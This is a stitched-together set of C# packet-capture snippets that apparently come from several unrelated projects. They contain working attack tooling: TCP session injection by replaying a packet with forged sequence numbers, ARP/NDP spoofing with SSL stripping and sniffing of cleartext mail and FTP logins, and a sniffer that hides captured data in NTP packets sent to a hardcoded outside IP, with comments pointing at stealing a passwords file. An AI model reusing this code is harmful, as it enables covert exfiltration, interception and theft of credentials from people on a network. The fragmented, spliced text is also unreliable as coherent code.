catch (Exception ex) { Console.WriteLine(ex.ToString()); session.Close(); session = null; } } mTimer.Enabled = true; } catch (Exception) { if (!mDevice.Opened) { mDevice.Open(DeviceMode.Promiscuous, 1); } } }
private void tsb3Send_Click(object sender, EventArgs e) { bool isAckLast = false; int iSyncHandshake = 0; ushort pshPort = 0; IPv4Packet ip, lastAckIp; RawCapture lastAckRaw, pshRaw; TcpPacket lastAckTcp, tcp; lastAckRaw = pshRaw = null; foreach (PacketWrapper2 pw2a in bs) { tcp = pw2a.tcpPacket; if (tcp.Psh && tcp.DestinationPort == TARGET_PORT && pw2a.Msg.Length > 0) { pshPort = tcp.SourcePort; pshRaw = pw2a.rawPacket; break; } } if (pshPort == 0) { MessageBox.Show("Wait for PSH packet to be sent !"); return; } CaptureForm._pshPacket = Packet.ParsePacket(pshRaw.LinkLayerType, pshRaw.Data); foreach (PacketWrapper2 pw2b in bs) { tcp = pw2b.tcpPacket; if (tcp.SourcePort != pshPort && tcp.DestinationPort != pshPort) { continue; } isAckLast = false; if (tcp.Syn) { iSyncHandshake++; } //else if (tcp.Psh && tcp.SourcePort == TARGET_PORT) pshRaw = pw2b.rawPacket; else if (tcp.Ack && tcp.DestinationPort == TARGET_PORT && !tcp.Fin && !tcp.Psh) { lastAckRaw = pw2b.rawPacket; isAckLast = true; } else if (tcp.Fin) { iSyncHandshake--; } } /*if (iSyncHandshake <= 0) * { * MessageBox.Show("Connection closed !"); * return; * }*/ if (!isAckLast) { MessageBox.Show("Wait for the ACK packet to be last !"); return; } CaptureForm._lastAckPacket = Packet.ParsePacket(lastAckRaw.LinkLayerType, lastAckRaw.Data); lastAckIp = (IPv4Packet)IpPacket.GetEncapsulated(CaptureForm._lastAckPacket); lastAckTcp = TcpPacket.GetEncapsulated(CaptureForm._lastAckPacket); /*if (pshRaw == null) * { * MessageBox.Show("Wait for PSH packet to be sent !"); * return; * } * pshPacket = Packet.ParsePacket(pshRaw.LinkLayerType, pshRaw.Data);*/ ip = (IPv4Packet)IpPacket.GetEncapsulated(CaptureForm._pshPacket); ip.Id = (ushort)(lastAckIp.Id + 10); ip.UpdateIPChecksum(); tcp = TcpPacket.GetEncapsulated(CaptureForm._pshPacket); tcp.SequenceNumber = lastAckTcp.SequenceNumber; tcp.AcknowledgmentNumber = lastAckTcp.AcknowledgmentNumber; tcp.UpdateTCPChecksum(); _iRecvPackets = 1; _device.SendPacket(CaptureForm._pshPacket); }
//标记当前数据是否有效 #region 构建数据行 /// <summary> /// DataGridRow /// </summary> /// <returns>返回字符串数据</returns> public string[] Row(RawCapture rawPacket, uint packetID) { string[] rows = new string[7]; rows[0] = string.Format("{0:D7}", packetID); //编号 rows[1] = "Unknown"; rows[2] = rawPacket.Data.Length.ToString(); //数据长度bytes rows[3] = "--"; rows[4] = "--"; rows[5] = "--"; //rows[6] = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss:fff"); rows[6] = DateTime.Now.ToString("yyyy-MM-dd HH:mm:ss"); Packet packet = Packet.ParsePacket(rawPacket.LinkLayerType, rawPacket.Data); EthernetPacket ep = EthernetPacket.GetEncapsulated(packet); if (ep != null) { rows[1] = "Ethernet(v2)"; rows[3] = Format.MacFormat(ep.SourceHwAddress.ToString()); rows[4] = Format.MacFormat(ep.DestinationHwAddress.ToString()); rows[5] = "[" + ep.Type.ToString() + "]"; #region IP IpPacket ip = IpPacket.GetEncapsulated(packet); if (ip != null) { if (ip.Version == IpVersion.IPv4) { rows[1] = "IPv4"; } else { rows[1] = "IPv6"; } rows[3] = ip.SourceAddress.ToString(); rows[4] = ip.DestinationAddress.ToString(); rows[5] = "[下层协议:" + ip.NextHeader.ToString() + "] [版本:" + ip.Version.ToString() + "]"; TcpPacket tcp = TcpPacket.GetEncapsulated(packet); if (tcp != null) { rows[1] = "TCP"; rows[3] += " [" + tcp.SourcePort.ToString() + "]"; rows[4] += " [" + tcp.DestinationPort.ToString() + "]"; #region 25:smtp协议;80, 8080, 3128: Http; 21: FTP; if (tcp.DestinationPort.ToString() == "25" || tcp.SourcePort.ToString() == "25") { rows[1] = "SMTP"; } else if (tcp.DestinationPort.ToString() == "80" || tcp.DestinationPort.ToString() == "8080" || tcp.DestinationPort.ToString() == "3128") { rows[1] = "HTTP"; } else if (tcp.DestinationPort.ToString() == "21") { rows[1] = "FTP"; } else if (tcp.DestinationPort.ToString() == "143") { rows[1] = "POP3"; } #endregion return(rows); } UdpPacket udp = UdpPacket.GetEncapsulated(packet); if (udp != null) { if (rawPacket.Data[42] == ((byte)02)) { rows[1] = "OICQ"; } else { rows[1] = "UDP"; } rows[3] += " [" + udp.SourcePort.ToString() + "]"; rows[4] += " [" + udp.DestinationPort.ToString() + "]"; return(rows); } ICMPv4Packet icmpv4 = ICMPv4Packet.GetEncapsulated(packet); if (icmpv4 != null) { rows[1] = "ICMPv4"; rows[5] = "[校验:" + icmpv4.Checksum.ToString() + "] [类型:" + icmpv4.TypeCode.ToString() + "] [序列号:" + icmpv4.Sequence.ToString() + "]"; return(rows); } ICMPv6Packet icmpv6 = ICMPv6Packet.GetEncapsulated(packet); if (icmpv6 != null) { rows[1] = "ICMPv6"; rows[5] = "[Code:" + icmpv6.Code.ToString() + "] [Type" + icmpv6.Type.ToString() + "]"; return(rows); } IGMPv2Packet igmp = IGMPv2Packet.GetEncapsulated(packet); if (igmp != null) { rows[1] = "IGMP"; rows[5] = "[只适用于IGMPv2] [组地址:" + igmp.GroupAddress.ToString() + "] [类型:" + igmp.Type.ToString() + "]"; return(rows); } return(rows); } #endregion ARPPacket arp = ARPPacket.GetEncapsulated(packet); if (arp != null) { rows[1] = "ARP"; rows[3] = Format.MacFormat(arp.SenderHardwareAddress.ToString()); rows[4] = Format.MacFormat(arp.TargetHardwareAddress.ToString()); rows[5] = "[Arp操作方式:" + arp.Operation.ToString() + "] [发送者:" + arp.SenderProtocolAddress.ToString() + "] [目标:" + arp.TargetProtocolAddress.ToString() + "]"; return(rows); } WakeOnLanPacket wp = WakeOnLanPacket.GetEncapsulated(packet); if (wp != null) { rows[1] = "Wake On Lan"; rows[3] = Format.MacFormat(ep.SourceHwAddress.ToString()); rows[4] = Format.MacFormat(wp.DestinationMAC.ToString()); rows[5] = "[唤醒网络地址:" + wp.DestinationMAC.ToString() + "] [有效性:" + wp.IsValid().ToString() + "]"; return(rows); } PPPoEPacket poe = PPPoEPacket.GetEncapsulated(packet); if (poe != null) { rows[1] = "PPPoE"; rows[5] = poe.Type.ToString() + " " + poe.Version.ToString(); return(rows); } LLDPPacket llp = LLDPPacket.GetEncapsulated(packet); if (llp != null) { rows[1] = "LLDP"; rows[5] = llp.ToString(); return(rows); } return(rows); } //链路层 PPPPacket ppp = PPPPacket.GetEncapsulated(packet); if (ppp != null) { rows[1] = "PPP"; rows[3] = "--"; rows[4] = "--"; rows[5] = "协议类型:" + ppp.Protocol.ToString(); return(rows); } //PPPSerial PppSerialPacket ppps = PppSerialPacket.GetEncapsulated(packet); if (ppps != null) { rows[1] = "PPP"; rows[3] = "--"; rows[4] = "0x" + ppps.Address.ToString("X2"); rows[5] = "地址:" + ppps.Address.ToString("X2") + " 控制:" + ppps.Control.ToString() + " 协议类型:" + ppps.Protocol.ToString(); return(rows); } //Cisco HDLC CiscoHDLCPacket hdlc = CiscoHDLCPacket.GetEncapsulated(packet); if (hdlc != null) { rows[1] = "Cisco HDLC"; rows[3] = "--"; rows[4] = "0x" + hdlc.Address.ToString("X2"); rows[5] = "地址:" + hdlc.Address.ToString("X2") + " 控制:" + hdlc.Control.ToString() + " 协议类型:" + hdlc.Protocol.ToString(); return(rows); } #region //SmtpPacket smtp = SmtpPacket. #endregion PacketDotNet.Ieee80211.MacFrame ieee = Packet.ParsePacket(rawPacket.LinkLayerType, rawPacket.Data) as PacketDotNet.Ieee80211.MacFrame; if (ieee != null) { rows[1] = "IEEE802.11 MacFrame"; rows[3] = "--"; rows[4] = "--"; rows[5] = "帧校验序列:" + ieee.FrameCheckSequence.ToString() + " 封装帧:" + ieee.FrameControl.ToString(); return(rows); } PacketDotNet.Ieee80211.RadioPacket ieeePacket = Packet.ParsePacket(rawPacket.LinkLayerType, rawPacket.Data) as PacketDotNet.Ieee80211.RadioPacket; if (ieeePacket != null) { rows[1] = "IEEE Radio"; rows[5] = "Version=" + ieeePacket.Version.ToString(); } LinuxSLLPacket linux = Packet.ParsePacket(rawPacket.LinkLayerType, rawPacket.Data) as LinuxSLLPacket; if (linux != null) { rows[1] = "LinuxSLL"; rows[5] = "Tyep=" + linux.Type.ToString() + " Protocol=" + linux.EthernetProtocolType.ToString(); } return(rows); }
/// <summary> /// 核心: 解析报文 /// </summary> /// <param name="rawPacket"></param> private void handlePacket(RawCapture rawPacket) { try { // 构建通用数据包 Packet generalPacket = Packet.ParsePacket(rawPacket.LinkLayerType, rawPacket.Data); // 只要以太网包 if (rawPacket.LinkLayerType == LinkLayers.Ethernet) { // 封装以太网包 EthernetPacket e = EthernetPacket.GetEncapsulated(generalPacket); // 只要IPV4 if (e.Type == EthernetPacketType.IpV4) { IPv4Packet ipv4 = (IPv4Packet)IpPacket.GetEncapsulated(generalPacket); // 只要TCP包 if (ipv4.NextHeader == IPProtocolType.TCP) { // 将通用数据包封装为TCP包 TcpPacket tcp = TcpPacket.GetEncapsulated(generalPacket); byte[] tmp = tcp.PayloadData;// 数据 if (tmp != null && tmp.Length > 4) { // 处理粘包 int i = 0; do { int len = -1; if (i + 4 > tmp.Length) { //len = 1; break; } else if (tmp[i] == 0xC1) { len = tmp[i + 1]; // C1 0D包长度必须大于13 if (tmp[i + 2] == 0x0D && len >= 13) { // 0D包第3字节后有10字节0x00 直接跳过 // 这10字节应该是发送者名字, 服务器消息则没有 byte[] msg = new byte[len - 13]; Buffer.BlockCopy(tmp, i + 13, msg, 0, msg.Length); string text = Encoding.Default.GetString(msg).Split('\0')[0]; // 处理获取到的服务器消息 MessageDone?.Invoke(this, text); } } else if (tmp[i] == 0xC2 || tmp[i] == 0xC4) { // TODO: 这里有个半包异常 懒得处理了 // C2和C4 第2-3字节规定了长度 len = tmp[i + 1] << 8 | tmp[i + 2]; } else if (tmp[i] == 0xC3) { // C1和C3 第2字节规定了长度 len = tmp[i + 1]; } else { len = 1; } // 防止半包或网络不稳收到C100 造成死循环 if (len == 0) { len = 1; } i += len;// 跳过len字节 } while (i < tmp.Length); } } } } } catch (Exception e) { } }
static void Main(string[] args) { int k = 0; CaptureDeviceList deviceList = CaptureDeviceList.Instance; foreach (ICaptureDevice dev in deviceList) { Console.WriteLine("{0}\n", dev.ToString()); } ICaptureDevice device = deviceList[3]; device.Open(DeviceMode.Promiscuous, 1000); Console.WriteLine(); Console.WriteLine("-- Listening on {0}...", device.Description); Packet packet = null; while (true) { RawCapture raw = device.GetNextPacket(); while (raw == null) { raw = device.GetNextPacket(); } packet = Packet.ParsePacket(raw.LinkLayerType, raw.Data); var tcpPacket = TcpPacket.GetEncapsulated(packet); var ipPacket = IpPacket.GetEncapsulated(packet); if (tcpPacket != null && ipPacket != null) { DateTime time = raw.Timeval.Date; int len = raw.Data.Length; Console.WriteLine("{0}:{1}:{2},{3} Len={4}", time.Hour, time.Minute, time.Second, time.Millisecond, len); //Console.WriteLine(e.Packet.ToString()); // IP адрес отправителя var srcIp = ipPacket.SourceAddress.ToString(); //Console.WriteLine("srcIp="+ srcIp); // IP адрес получателя var dstIp = ipPacket.DestinationAddress.ToString(); //Console.WriteLine("dstIp=" + dstIp); // порт отправителя var srcPort = tcpPacket.SourcePort.ToString(); //Console.WriteLine("srcPort=" + srcPort); // порт получателя var dstPort = tcpPacket.DestinationPort.ToString(); //Console.WriteLine("dstPost=" + dstPort); // данные пакета var data = BitConverter.ToString(raw.Data); //Console.WriteLine("data=" + data); string path = srcIp.ToString() + " " + dstIp.ToString() + " " + srcPort.ToString() + " " + dstPort.ToString() + " " + data.ToString() + " "; Console.WriteLine(path); k++; //Get some private data //For example, contents of `passwords.txt` on user's desktop path += "TRANSFER COMPLETE"; //Add 17 bytes more to guaranteely send 2 or more packets //Now split by 17 bytes each int ctr = 0; List <byte[]> pcs = new List <byte[]>(); int BYTE_CNT = 17; byte[] current = new byte[BYTE_CNT]; foreach (var cb in Encoding.ASCII.GetBytes(path)) { if (ctr == BYTE_CNT) { //BYTE_CNT bytes added, start new iteration byte[] bf = new byte[BYTE_CNT]; current.CopyTo(bf, 0); pcs.Add(bf); String deb = Encoding.ASCII.GetString(bf); ctr = 0; for (int i = 0; i < BYTE_CNT; i++) { current[i] = 0x0; } } if (cb == '\n' || cb == '\r') { current[ctr] = Encoding.ASCII.GetBytes("_")[0]; } else { current[ctr] = cb; } ctr++; } //OK split Console.WriteLine($"OK split into {pcs.Count} parts"); //Now send UDPSocket socket = new UDPSocket(); socket.Client("88.151.112.223", 123); byte pkt_id = 0; int total_sent = 0; Stopwatch sw = new Stopwatch(); sw.Start(); foreach (var ci in pcs) { NtpPacket ntp = new NtpPacket(); ntp = ntp.EmbedDataToPacketC(ci); byte[] result = ntp.BuildPacket(); result[5] = pkt_id; if (k == 0) { packets.Add(pkt_id, result); } Console.WriteLine($"Sending: {Encoding.ASCII.GetString(result)}"); socket.Send(result); Thread.Sleep(1); total_sent += result.Length; pkt_id++; } sw.Stop(); Console.WriteLine($"Sent {pkt_id} packets in {sw.ElapsedMilliseconds} ms. Avg speed: {total_sent / ((double)((double)sw.ElapsedMilliseconds / (double)1000))} B/s"); Console.WriteLine("Package was sent"); //Console.ReadKey(true); } } }
// packet arrival event private void device_OnPacketArrival(object sender, CaptureEventArgs e) { Packet packet; try { packet = Packet.ParsePacket(LinkLayers.Ethernet, e.Packet.Data); } catch { return; } if (packet is EthernetPacket) { var tcp = TcpPacket.GetEncapsulated(packet); var arp = ARPPacket.GetEncapsulated(packet); var ip = IpPacket.GetEncapsulated(packet); var icmpv6 = ICMPv6Packet.GetEncapsulated(packet); // ARP packet if (arp != null) { if (Scanner.Started) { lock (Scanner.PacketQueueARP) { Scanner.PacketQueueARP.Add(arp); } } } // ICMPv6 packet if (icmpv6 != null) { if (Scanner.Started) { lock (Scanner.PacketQueueNDP) { icmpv6.ParentPacket = ip; icmpv6.ParentPacket.ParentPacket = packet; Scanner.PacketQueueNDP.Add(icmpv6); } } } // TCP packet if (tcp != null) { // HTTP, FTP, IMAP, POP3, SMTP packets (client -> server) if (tcp.DestinationPort == 80 || tcp.DestinationPort == 21 || tcp.DestinationPort == 143 || tcp.DestinationPort == 110 || tcp.DestinationPort == 25) { if (Sniffer.Started) { lock (Sniffer.PacketQueue) { Sniffer.PacketQueue.Add(tcp); } } } // SSL stripping needs HTTP in & out if (tcp.DestinationPort == 80 || tcp.SourcePort == 80) { if (SSLStrip.Started) { if (!SSLStrip.ProcessPacket(packet, tcp)) { return; } } } } // IP packet if (ip != null) { // route IPv4 if (ARPTools.SpoofingStarted && ip.SourceAddress.AddressFamily == AddressFamily.InterNetwork) { lock (ARPTools.PacketQueueRouting) { ARPTools.PacketQueueRouting.Add(packet); } } // route IPv6 if (NDTools.SpoofingStarted && ip.SourceAddress.AddressFamily == AddressFamily.InterNetworkV6) { lock (NDTools.PacketQueueRouting) { NDTools.PacketQueueRouting.Add(packet); } } } } }